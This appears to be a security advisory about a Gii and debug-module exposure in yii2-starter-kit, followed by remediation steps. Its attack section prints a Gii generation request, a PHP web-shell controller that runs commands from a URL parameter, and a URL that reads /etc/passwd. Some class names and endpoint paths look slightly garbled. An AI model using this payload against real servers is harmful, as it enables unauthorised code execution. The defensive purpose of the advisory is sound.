Yii2 Starter Kit Debug and Gii Module Exposure Allows Remote Arbitrary File Generation and RCE (CVE-2026-103475)

A critical vulnerability cataloged as CVE-2026-103475 (CVSS 9.8) has been discovered in yii2-starter-kit, a popular scaffolding framework and application boilerplate for the Yii2 PHP web ecosystem. The flaw stems from an insecure default configuration in the development bootstrap routines that exposes Yii's built-in Gii code generator and debug toolbar to the public internet, allowing unauthenticated attackers to write arbitrary PHP code to the server and achieve full remote command execution.

The Danger of Insecure Boilerplate Defaults

In standard Yii2 development environments, the Gii module provides an interactive web-based wizard that developers use to automatically generate database models, CRUD views, and API controllers. Because Gii generates executable PHP files and writes them directly to the filesystem, Yii2 core enforces strict localhost restrictions by default (allowedIPs = ['127.0.0.1', '::1']).

However, to simplify testing within Docker containers and virtual machines, yii2-starter-kit replaced the local-only restriction with an unrestricted wildcard:

// Vulnerable configuration in web.php / bootstrap:
if (YII_ENV_DEV) {
    // Configuration adjustments for 'dev' environment
    $config['bootstrap'][] = 'debug';
    $config['modules']['debug'] = [
        'class' => 'yiidebugModule',
        'allowedIPs' => ['*'], // CRITICAL: Permits unrestricted public access
    ];

    $config['bootstrap'][] = 'gii';
    $config['modules']['gii'] = [
        'class' => 'yiigiiModule',
        'allowedIPs' => ['*'], // CRITICAL: Permits unauthenticated code generation
    ];
}

Attack Mechanics: Weaponizing the Gii Code Generator

When developers build applications atop yii2-starter-kit and deploy container images to staging, pre-production, or production environments without explicitly changing the environment flags, the web server responds to external HTTP requests on /gii.

An attacker can weaponize this exposure in four discrete steps:

1. Reconnaissance: The attacker scans internet-facing web properties for the distinctive endpoints /gii or /debug/default/view. The application responds with HTTP 200 and renders the Gii administrative dashboard without requiring any session credentials.
2. Model or Controller Generation Request: The attacker submits an HTTP POST request to the Gii controller generator (/gii/controller/generate), specifying a controller class name and embedding arbitrary PHP code into action definitions or custom generator templates:

POST /gii/default/view?id=controller HTTP/1.1
Host: vulnerable-target.com
Content-Type: application/x-www-form-urlencoded

Generator[controllerClass]=appcontrollersExploitController&Generator[viewPath]=@app/views/exploit&Generator[actions]=run&Generator[template]=default&generate=Generate

By crafting custom template parameters or manipulating the generated action content, the attacker injects arbitrary PHP execution primitives:

<?php
namespace appcontrollers;

class ExploitController extends yiiwebController
{
    public function actionRun()
    {
        if (isset($_GET['c'])) {
            system($_GET['c']);
        }
    }
}

Because the web server process (e.g., www-data or nginx) has write permissions across the application controller directory, Gii writes app/controllers/ExploitController.php to disk. Navigating to /exploit/run?c=cat+/etc/passwd immediately yields arbitrary command execution on the host operating system.

Exposure Vectors: Containerized Staging and Misconfigured CI/CD

While developers might assume production deployments are protected by YII_ENV_PROD, modern container deployments frequently suffer from environment variable configuration drift. In microservice environments where .env files are packaged into Docker images or Helm charts fail to override default development variables, the application boots into dev mode by default.

Remediation Playbook for Engineering Teams

Organizations utilizing Yii2 and yii2-starter-kit should immediately execute the following defensive measures:

1. Remove Wildcard Allowed IPs

Never use wildcard asterisks in allowedIPs. In development environments that run inside Docker containers, specify the exact gateway IP or Docker subnet (e.g., 172.16.0.0/12), or better, tunnel local connections via SSH port forwarding:

// Remediated configuration in common/config/web-local.php:
if (YII_ENV_DEV) {
    $config['modules']['gii'] = [
        'class' => 'yiigiiModule',
        'allowedIPs' => ['127.0.0.1', '::1'], // Strictly local
    ];
}

2. Enforce Strict Production Environment Variables

Audit production Dockerfiles, Kubernetes manifests, and cloud configuration maps to guarantee that YII_ENV and YII_DEBUG are hardcoded to production values:

# In Dockerfile:
ENV YII_ENV=prod
ENV YII_DEBUG=false

3. Reverse Proxy WAF Rule (Blocking Sensitive Endpoints)

Configure Nginx or edge reverse proxies to drop all incoming external traffic directed to /gii and /debug unconditionally:

# In Nginx server configuration:
location ~ ^/(gii|debug) {
    deny all;
    return 404;
}